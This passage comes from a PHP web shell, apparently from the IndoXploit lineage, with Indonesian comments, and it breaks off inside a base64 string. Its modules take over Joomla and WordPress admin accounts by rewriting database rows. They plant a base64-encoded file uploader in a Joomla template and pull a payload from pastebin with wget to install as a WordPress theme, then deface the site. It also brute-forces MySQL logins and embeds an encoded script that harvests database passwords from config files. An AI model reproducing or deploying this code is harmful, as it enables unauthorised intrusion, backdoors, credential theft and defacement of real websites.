  2988. echo "<a href='grapwpjm/$user-wpconfig.txt'style='text-decoration:none;'>$user </a> <= Wordpress<br>";
  2989.  
  2990. }
  2991.  
  2992.  
  2993. }
  2994. else{
  2995.  
  2996.  
  2997. }
  2998.  
  2999. }
  3000.  
  3001. }
  3002.  
  3003. }
  3004.  
  3005. }
  3006. elseif(isset($_GET['x']) && ($_GET['x'] == 'joom'))
  3007. {
  3008. ?>
  3009. <form action="?path=<?php echo $path; ?>&amp;x=joom" method="post">
  3010. <?php
  3011. error_reporting(0);
  3012. //Tu5b0l3d
  3013.  
  3014. //thx to: IndoXploit, Hacker-Newbie.org
  3015.  
  3016.  
  3017.  
  3018. if($_POST['submitt']){
  3019.  
  3020.  
  3021. $host = $_POST['host'];
  3022.  
  3023. $username = $_POST['username'];
  3024.  
  3025. $password = $_POST['password'];
  3026.  
  3027. $db = $_POST['db'];
  3028.  
  3029. $dbprefix = $_POST['dbprefix'];
  3030.  
  3031. $user_baru = $_POST['user_baru'];
  3032.  
  3033. $password_baru = $_POST['password_baru'];
  3034.  
  3035. $tanya = $_POST['tanya'];
  3036.  
  3037.  
  3038. $prefix = $dbprefix."users";
  3039.  
  3040. $pass = md5("$password_baru");
  3041.  
  3042. $upda = $db.".".$dbprefix;
  3043.  
  3044.  
  3045. mysql_connect($host,$username,$password) or die("Koneksi gagal.. isi data yg bener");
  3046.  
  3047. mysql_select_db($db) or die("Database tidak bisa dibuka.. Isi data yg bener");
  3048.  
  3049. $tampil=mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  3050. $r=mysql_fetch_array($tampil);
  3051. $id = $r[id];
  3052.  
  3053.  
  3054. mysql_query("UPDATE $prefix SET password='$pass',username='$user_baru' WHERE id='$id'");
  3055.  
  3056.  
  3057. function token($target){
  3058. $ch2 = curl_init ("$target");
  3059. curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
  3060. curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
  3061. curl_setopt ($ch2, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  3062. curl_setopt ($ch2, CURLOPT_CONNECTTIMEOUT, 5);
  3063. curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, 0);
  3064. curl_setopt ($ch2, CURLOPT_SSL_VERIFYHOST, 0);
  3065. curl_setopt($ch2, CURLOPT_COOKIEJAR,'coker_log');
  3066. curl_setopt($ch2, CURLOPT_COOKIEFILE,'coker_log');
  3067. $data = curl_exec ($ch2);
  3068.  
  3069.  
  3070. preg_match('/<input type="hidden" name="(.*?)" value="1"/', $data, $token);
  3071. $token = $token[1];
  3072. return $token;
  3073. }
  3074.  
  3075. if ($tanya == "y"){
  3076. $target = $_POST['target'];
  3077. $path = "/administrator/index.php?option=com_templates&view=template&id=503&file=L2Vycm9yLnBocA%3D%3D";
  3078. $site = $target.$path;
  3079. $token1 = token($site);
  3080.  
  3081.  
  3082.  
  3083. $post = array(
  3084. "username" => "$user_baru",
  3085. "passwd" => "$password_baru",
  3086. "lang" => "en-GB",
  3087. "option" => "com_login",
  3088. "task" => "login",
  3089. "return" => "aW5kZXgucGhw",
  3090. "$token1" => "1",
  3091. );
  3092.  
  3093. $ch = curl_init ("$site");
  3094. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  3095. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  3096. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  3097. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
  3098. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  3099. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  3100. curl_setopt ($ch, CURLOPT_POST, 1);
  3101. @curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  3102. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  3103. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  3104. $masuk = curl_exec ($ch);
  3105.  
  3106. $token2 = token($site);
  3107.  
  3108. $upload = base64_decode("Z3cgZ2FudGVuZw0KPD9waHANCiAgJGZpbGUgPSAkX0ZJTEVTWydmaWxlJ107DQogICRuZXdmaWxlPSJrLnBocCI7DQoJCWlmIChmaWxlX2V4aXN0cygiLi4vLi4vIi4kbmV3ZmlsZSkpIHVubGluaygiLi4uLi8vIi4kbmV3ZmlsZSk7DQogICAgCW1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwgIi4uLy4uLyRuZXdmaWxlIik7DQo/Pg0K");
  3109.  
  3110. $post2 = array(
  3111. "jform[source]" => "$upload",
  3112. "task" => "template.save",
  3113. "$token2" => "1",
  3114. "jform[extension_id]"=> "503",
  3115. "jform[filename]" => "/error.php",
  3116. );
  3117.  
  3118. $ch3 = curl_init ("$site");
  3119. curl_setopt ($ch3, CURLOPT_RETURNTRANSFER, 1);
  3120. curl_setopt ($ch3, CURLOPT_FOLLOWLOCATION, 1);
  3121. curl_setopt ($ch3, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  3122. curl_setopt ($ch3, CURLOPT_CONNECTTIMEOUT, 5);
  3123. curl_setopt ($ch3, CURLOPT_SSL_VERIFYPEER, 0);
  3124. curl_setopt ($ch3, CURLOPT_SSL_VERIFYHOST, 0);
  3125. curl_setopt ($ch3, CURLOPT_POST, 1);
  3126. curl_setopt ($ch3, CURLOPT_POSTFIELDS, $post2);
  3127. curl_setopt($ch3, CURLOPT_COOKIEJAR,'coker_log');
  3128. curl_setopt($ch3, CURLOPT_COOKIEFILE,'coker_log');
  3129. $masuk2 = curl_exec ($ch3);
  3130.  
  3131. if(preg_match("#successfully#is", $masuk2)){
  3132. echo "uploader udh ketanem...<br>";
  3133. echo "lanjut mepes...<br>";
  3134.  
  3135. $file_pepes = "hacked.php";
  3136. $ch4 =curl_init("$target/templates/beez3/error.php");
  3137. curl_setopt($ch4, CURLOPT_POST, true);
  3138. curl_setopt($ch4, CURLOPT_POSTFIELDS,
  3139. array('file'=>"@$file_pepes"));
  3140. curl_setopt($ch4, CURLOPT_RETURNTRANSFER, 1);
  3141. curl_setopt ($ch4, CURLOPT_SSL_VERIFYPEER, 0);
  3142. curl_setopt ($ch4, CURLOPT_SSL_VERIFYHOST, 0);
  3143. $postResult = curl_exec($ch4);
  3144. curl_close($ch4);
  3145.  
  3146.  
  3147. $ch5 =curl_init("$target/k.php");
  3148. curl_setopt($ch5, CURLOPT_POST, true);
  3149. curl_setopt($ch5, CURLOPT_RETURNTRANSFER, 1);
  3150. curl_setopt ($ch5, CURLOPT_SSL_VERIFYPEER, 0);
  3151. curl_setopt ($ch5, CURLOPT_SSL_VERIFYHOST, 0);
  3152. $postResult2 = curl_exec($ch5);
  3153.  
  3154.  
  3155. if(preg_match('#hacked#is', $postResult2)){
  3156. echo "<font color='green'>berhasil mepes...</font><br>";
  3157. echo "$target/k.php<br>";
  3158. }
  3159. else{
  3160. echo "<font color='red'>gagal mepes...</font><br>";
  3161. echo "coba aja manual: <br>";
  3162. echo "$target/administrator<br>";
  3163. echo "username: $user_baru<br>";
  3164. echo "password: $password_baru<br>";
  3165. }
  3166.  
  3167.  
  3168.  
  3169. }
  3170. else{
  3171. echo "failed<br>";
  3172. echo "data udh bener. beda template mungkin :(<br>";
  3173. echo "coba aja manual: <br>";
  3174. echo "$target/administrator<br>";
  3175. echo "username: $user_baru<br>";
  3176. echo "password: $password_baru<br>";
  3177. }
  3178.  
  3179.  
  3180. curl_close($ch3);
  3181. curl_close($ch);
  3182.  
  3183.  
  3184.  
  3185.  
  3186.  
  3187. }
  3188. elseif($tanya == "n"){
  3189. echo "Sukses<br>";
  3190. echo "username: $user_baru<br>";
  3191. echo "password: $password_baru<br>";
  3192.  
  3193. }
  3194.  
  3195.  
  3196. }
  3197.  
  3198.  
  3199.  
  3200. else{
  3201.  
  3202. echo '<html>
  3203.  
  3204. <head>
  3205.  
  3206. <title>Edit user in joomla</title>
  3207.  
  3208. </head>
  3209.  
  3210.  
  3211.  
  3212. <body>
  3213.  
  3214. <center>
  3215.  
  3216. <center
  3217.  
  3218. <h2>Edit user in joomla</h2>
  3219.  
  3220. <table>
  3221.  
  3222. <tr><td><form method="post" action="?action"></td></tr>
  3223.  
  3224. <tr><td><input type="text" name="host" placeholder="localhost"></td></tr>
  3225.  
  3226. <tr><td><input type="text" name="username" placeholder="User DB"></td></tr>
  3227.  
  3228. <tr><td><input type="text" name="password" placeholder="Password DB"></td></tr>
  3229.  
  3230. <tr><td><input type="text" name="db" placeholder="Database"></td></tr>
  3231.  
  3232. <tr><td><input type="text" name="dbprefix" placeholder="dbprefix"></td></tr>
  3233.  
  3234. <tr><td><input type="text" name="user_baru" placeholder="Username Baru"></td></tr>
  3235.  
  3236. <tr><td><input type="text" name="password_baru" placeholder="Password Baru"></td></tr>
  3237. <tr><td></td></tr>
  3238. <tr><td></td></tr>
  3239.  
  3240.  
  3241. <tr><td> Auto Deface <input type="radio" name="tanya" value="y"> y <input type="radio" name="tanya" value="n"> n</td></tr>
  3242. <tr><td><input type="text" name="target" placeholder="www.IndoXploit.org"></td></tr>
  3243.  
  3244. <tr><td><input type="submit" value="Submit" name="submitt"></td></tr>
  3245.  
  3246. </table>
  3247. *nb: Masukin script deface anda hacked.php. kalo milih y ... silahkan masukin nama sitenya, kalo ngk tau nama sitenya, pilih n
  3248.  
  3249. </center>
  3250.  
  3251. </body>';
  3252.  
  3253. }
  3254.  
  3255.  
  3256.  
  3257. }
  3258. elseif(isset($_GET['x']) && ($_GET['x'] == 'ggwp'))
  3259. {
  3260. ?>
  3261. <form action="?path=<?php echo $path; ?>&amp;x=ggwp" method="post">
  3262. <?php
  3263. if($_POST){
  3264. $host = $_POST['host'];
  3265. $username = $_POST['username'];
  3266. $password = $_POST['password'];
  3267. $db = $_POST['db'];
  3268. $dbprefix = $_POST['dbprefix'];
  3269. $user_baru = $_POST['user_baru'];
  3270. $password_baru = $_POST['password_baru'];
  3271. $prefix = $db.".".$dbprefix."users";
  3272. $sue = $db.".".$dbprefix."options";
  3273. $tanya = $_POST['tanya'];
  3274. $target = $_POST['target'];
  3275. $nick = $_POST['nick'];
  3276. $pass = md5("$password_baru");
  3277.  
  3278.  
  3279. mysql_connect($host,$username,$password) or die("Koneksi gagal.. isi data yg bener");
  3280. mysql_select_db($db) or die("Database tidak bisa dibuka.. Isi data yg bener");
  3281.  
  3282. $tampil=mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  3283. $r=mysql_fetch_array($tampil);
  3284. $id = $r[ID];
  3285.  
  3286. $tampil2=mysql_query("SELECT * FROM $sue ORDER BY option_id ASC");
  3287. $r2=mysql_fetch_array($tampil2);
  3288. $target = $r2[option_value];
  3289.  
  3290.  
  3291. mysql_query("UPDATE $prefix SET user_pass='$pass',user_login='$user_baru' WHERE ID='$id'");
  3292.  
  3293.  
  3294.  
  3295.  
  3296. if($tanya=="y"){
  3297.  
  3298. function ambilKata($param, $kata1, $kata2){
  3299. if(strpos($param, $kata1) === FALSE) return FALSE;
  3300. if(strpos($param, $kata2) === FALSE) return FALSE;
  3301. $start = strpos($param, $kata1) + strlen($kata1);
  3302. $end = strpos($param, $kata2, $start);
  3303. $return = substr($param, $start, $end - $start);
  3304. return $return;
  3305. }
  3306.  
  3307. function anucurl($sites){
  3308. $ch1 = curl_init ("$sites");
  3309. curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
  3310. curl_setopt ($ch1, CURLOPT_FOLLOWLOCATION, 1);
  3311. curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  3312. curl_setopt ($ch1, CURLOPT_CONNECTTIMEOUT, 5);
  3313. curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
  3314. curl_setopt ($ch1, CURLOPT_SSL_VERIFYHOST, 0);
  3315. curl_setopt($ch1, CURLOPT_COOKIEJAR,'coker_log');
  3316. curl_setopt($ch1, CURLOPT_COOKIEFILE,'coker_log');
  3317. $data = curl_exec ($ch1);
  3318. return $data;
  3319. }
  3320.  
  3321. function lohgin($cek, $web, $userr, $pass){
  3322. $post = array(
  3323. "log" => "$userr",
  3324. "pwd" => "$pass",
  3325. "rememberme" => "forever",
  3326. "wp-submit" => "Log In",
  3327. "redirect_to" => "$web/wp-admin/",
  3328. "testcookie" => "1",
  3329. );
  3330. $ch = curl_init ("$cek");
  3331. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  3332. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  3333. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  3334. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  3335. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  3336. curl_setopt ($ch, CURLOPT_POST, 1);
  3337. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  3338. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  3339. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  3340. $data6 = curl_exec ($ch);
  3341. return $data6;
  3342. }
  3343.  
  3344. $site= "$target/wp-login.php";
  3345. $site2= "$target/wp-admin/theme-install.php?upload";
  3346. $a = lohgin($site, $target, $user_baru, $password_baru);
  3347. $b = lohgin($site2, $target, $user_baru, $password_baru);
  3348.  
  3349.  
  3350. $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  3351. echo "# token -> $anu2<br>";
  3352.  
  3353.  
  3354. system('wget http://pastebin.com/raw.php?i=mEQP6prW');
  3355. system('cp raw.php?i=mEQP6prW m.php');
  3356.  
  3357. $post2 = array(
  3358. "_wpnonce" => "$anu2",
  3359. "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  3360. "themezip" => "@m.php",
  3361. "install-theme-submit" => "Install Now",
  3362. );
  3363. $ch = curl_init ("$target/wp-admin/update.php?action=upload-theme");
  3364. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  3365. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  3366. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  3367. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  3368. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  3369. curl_setopt ($ch, CURLOPT_POST, 1);
  3370. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post2);
  3371. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  3372. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  3373. $data3 = curl_exec ($ch);
  3374.  
  3375. $namafile = "wew.php";
  3376. $fp2 = fopen($namafile,"w");
  3377. fputs($fp2,$nick);
  3378.  
  3379. $y = date("Y");
  3380. $m = date("m");
  3381.  
  3382.  
  3383. $ch6 = curl_init("$target/wp-content/uploads/$y/$m/m.php");
  3384. curl_setopt($ch6, CURLOPT_POST, true);
  3385. curl_setopt($ch6, CURLOPT_POSTFIELDS,
  3386. array('file3'=>"@$namafile"));
  3387. curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  3388. curl_setopt($ch6, CURLOPT_COOKIEFILE, "coker_log");
  3389. $postResult = curl_exec($ch6);
  3390. curl_close($ch6);
  3391.  
  3392. $as = "$target/k.php";
  3393. $bs = file_get_contents($as);
  3394. if(preg_match("#hacked#si",$bs)){
  3395. echo "# <font color='green'>berhasil mepes...</font><br>";
  3396. echo "# $target/k.php<br>";
  3397. }
  3398. else{
  3399. echo "# <font color='red'>gagal mepes...</font><br>";
  3400. echo "# coba aja manual: <br>";
  3401. echo "# $target/wp-login.php<br>";
  3402. echo "# username: $user_baru<br>";
  3403. echo "# password: $password_baru<br>";
  3404.  
  3405.  
  3406. }
  3407.  
  3408.  
  3409.  
  3410.  
  3411. }
  3412.  
  3413. elseif($tanya=="n"){
  3414. echo "# Sukses<br>";
  3415. echo "# username: $user_baru<br>";
  3416. echo "# password: $password_baru<br>";
  3417. }
  3418.  
  3419.  
  3420.  
  3421. }else{
  3422. echo '<html>
  3423. <head>
  3424. <title>Wordpress Created New User</title>
  3425. </head>
  3426.  
  3427. <body>
  3428. <center>
  3429. <center><div id="button"></div>
  3430. <h2>Wordpress Created New User</h2>
  3431. <table>
  3432. <tr><td><form method="post" action="?action"></td></tr>
  3433. <tr><td><input type="text" name="host" placeholder="localhost"></td></tr>
  3434. <tr><td><input type="text" name="username" placeholder="User DB"></td></tr>
  3435. <tr><td><input type="text" name="password" placeholder="Password DB"></td></tr>
  3436. <tr><td><input type="text" name="db" placeholder="Database"></td></tr>
  3437. <tr><td><input type="text" name="dbprefix" placeholder="dbprefix"></td></tr>
  3438. <tr><td><input type="text" name="user_baru" placeholder="Username Baru"></td></tr>
  3439. <tr><td><input type="text" name="password_baru" placeholder="Password Baru"></td></tr>
  3440. <tr><td> Auto Deface <input type="radio" name="tanya" value="y"> y <input type="radio" name="tanya" value="n"> n</td></tr>
  3441.  
  3442. <tr><td><input type="text" name="nick" placeholder="Hacked By Tu5b0l3d"></td></tr>
  3443. <tr><td><input type="submit" value="Ganti"></td></tr>
  3444. </table>
  3445. *nb: kalo milih y ... silahkan Ganti Form Hacked By Tu5b0l3d jadi Hacked by Nick_ente
  3446. </center>
  3447. </body>';
  3448. }
  3449.  
  3450. }
  3451.  
  3452. elseif(isset($_GET['x']) && ($_GET['x'] == 'brute'))
  3453. {
  3454. ?>
  3455. <form action="?path=<?php echo $path; ?>&amp;x=brute" method="post">
  3456. <?php
  3457.  
  3458. @set_time_limit(0);
  3459. @error_reporting(0);
  3460.  
  3461.  
  3462. if($_POST['page']=='find')
  3463. {
  3464. if(isset($_POST['usernames']) && isset($_POST['passwords']))
  3465. {
  3466. if($_POST['type'] == 'passwd'){
  3467. $e = explode("\n",$_POST['usernames']);
  3468. foreach($e as $value){
  3469. $k = explode(":",$value);
  3470. $username .= $k['0']." ";
  3471. }
  3472. }elseif($_POST['type'] == 'simple'){
  3473. $username = str_replace("\n",' ',$_POST['usernames']);
  3474. }
  3475. $a1 = explode(" ",$username);
  3476. $a2 = explode("\n",$_POST['passwords']);
  3477. $id2 = count($a2);
  3478. $ok = 0;
  3479. foreach($a1 as $user )
  3480. {
  3481. if($user !== '')
  3482. {
  3483. $user=trim($user);
  3484. for($i=0;$i<=$id2;$i++)
  3485. {
  3486. $pass = trim($a2[$i]);
  3487. if(@mysql_connect('localhost',$user,$pass))
  3488. {
  3489. echo "Zoo!! ~ user is (<b><font color=white>$user</font></b>) Password is (<b><font color=white>$pass</font></b>)<br />";
  3490. $ok++;
  3491. }
  3492. }
  3493. }
  3494. }
  3495. echo "<hr><b>You Found <font color=red>$ok</font> Nice</b>";
  3496. echo "<center><b><a href=".$_SERVER['PHP_SELF']."?brute>BACK</a>";
  3497. exit;
  3498. }
  3499. }
  3500. if($_POST['pass']=='password'){
  3501. @error_reporting(0);
  3502. $i = getenv('REMOTE_ADDR');
  3503. $d = date('D, M jS, Y H:i',time());
  3504. $h = $_SERVER['HTTP_HOST'];
  3505. $dir=$_SERVER['PHP_SELF'];
  3506. mkdir('config',0755);
  3507. $cp =
  3508. 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1teP